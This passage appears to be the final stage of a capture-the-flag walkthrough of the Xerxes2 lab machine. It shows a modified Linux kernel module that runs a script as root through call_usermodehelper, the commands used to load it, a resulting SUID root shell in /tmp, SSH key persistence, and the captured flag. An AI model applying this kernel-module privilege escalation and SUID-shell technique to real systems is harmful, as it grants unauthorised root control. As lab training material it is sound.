#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/proc_fs.h>#include <asm/uaccess.h>staticint__initusermodehelper_example_init(void){intret=0;char*argv[]={"/home/arkeller/eth/paper/code/callee","2",NULL};char*envp[]={"HOME=/","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL};printk("usermodehelper: init\n");/* last parameter: 1 -> wait until execution has finished, 0 go ahead without waiting*//* returns 0 if usermode process was started successfully, errorvalue otherwise*//* no possiblity to get return value of usermode process*/ret=call_usermodehelper("/home/arkeller/eth/paper/code/callee",argv,envp,UMH_WAIT_EXEC);if(ret!=0)printk("error in call to usermodehelper: %i\n",ret);elseprintk("everything all right\n");return0;}staticvoid__exitusermodehelper_example_exit(void){printk("usermodehelper: exit\n");}module_init(usermodehelper_example_init);module_exit(usermodehelper_example_exit);MODULE_LICENSE("GPL");
I’m on the home straight here - lets modify this code to run a shell script instead (the shell script used is identical to that used earlier to get from delacroix to polito).
#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/proc_fs.h>#include <asm/uaccess.h>staticint__initusermodehelper_example_init(void){intret=0;char*argv[]={"/home/korenchkin/runme.sh","2",NULL};char*envp[]={"HOME=/","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL};printk("usermodehelper: init\n");/* last parameter: 1 -> wait until execution has finished, 0 go ahead without waiting*//* returns 0 if usermode process was started successfully, errorvalue otherwise*//* no possiblity to get return value of usermode process*/ret=call_usermodehelper("/home/korenchkin/runme.sh",argv,envp,UMH_WAIT_EXEC);if(ret!=0)printk("error in call to usermodehelper: %i\n",ret);elseprintk("everything all right\n");return0;}staticvoid__exitusermodehelper_example_exit(void){printk("usermodehelper: exit\n");}module_init(usermodehelper_example_init);module_exit(usermodehelper_example_exit);MODULE_LICENSE("GPL");
I created another Makefile, compiled the module and loaded it
12345678910
korenchkin@xerxes2:~$ make -C /lib/modules/$(uname -r)/build M=/home/korenchkin/a modules
make: Entering directory `/usr/src/linux-headers-3.2.0-4-686-pae' CC [M] /home/korenchkin/a/a.o Building modules, stage 2. MODPOST 1 modules CC /home/korenchkin/a/a.mod.o LD [M] /home/korenchkin/a/a.komake: Leaving directory `/usr/src/linux-headers-3.2.0-4-686-pae'korenchkin@xerxes2:~$ sudo insmod a.ko
korenchkin@xerxes2:~$
123456789
korenchkin@xerxes2:~$ ls -l /tmp
total 244
-rwxr-xr-x 1 delacroix delacroix 55 Aug 6 16:15 123.sh
-rwsrwxrwx 1 root root 97284 Aug 8 03:40 rootshell
-rwsrwxrwx 1 polito polito 97284 Aug 6 16:15 shell
korenchkin@xerxes2:~/a$ /tmp/rootshell
# iduid=1000(korenchkin)gid=1000(korenchkin)euid=0(root)groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(korenchkin)#
Well, what do you know - a binary owned by root with the SUID attribute set that drops us to a root shell. I’ll echo my SSH key into authorized_keys for completeness, and SSH in as root and cat the /root/flag.txt file
root@pwk:~# ssh root@192.168.0.102
Welcome to xerxes2.
XERXES wishes you
a pleasant stay.
____ ___ ____ ___ __ ____ ___ ____ ____ ____
`MM()P' 6MMMMb `MM 6MM `MM( )P' 6MMMMb 6MMMMb\ 6MMMMb
`MM` ,P 6M' `Mb MM69 " `MM` ,P 6M'`Mb MM' ` MM'`Mb
`MM,P MM MM MM' `MM,P MM MM YM. ,MM `MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM' d`MM. MM MM d`MM. MM `Mb ,M' d'`MM. YM d9 MM d' `MM. YM d9 L ,MM ,M'_d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM
root@xerxes2:~# id
uid=0(root)gid=0(root)groups=0(root)root@xerxes2:~# cat flag.txt
____ ___ ____ ___ __ ____ ___ ____ ____ ____
`MM()P' 6MMMMb `MM 6MM `MM( )P' 6MMMMb 6MMMMb\ 6MMMMb
`MM` ,P 6M' `Mb MM69 " `MM` ,P 6M'`Mb MM' ` MM'`Mb
`MM,P MM MM MM' `MM,P MM MM YM. ,MM `MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM' d`MM. MM MM d`MM. MM `Mb ,M' d'`MM. YM d9 MM d' `MM. YM d9 L ,MM ,M'_d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM
congratulations on beating xerxes2!
I hope you enjoyed it as much as I did making xerxes2.
xerxes1 has been described as 'weird' and 'left-field' and I hope that this one fits that description too :) Many thanks to @TheColonial & @rasta_mouse for testing!
Ping me on #vulnhub for thoughts and comments! @barrebas, July 2014
root@xerxes2:~#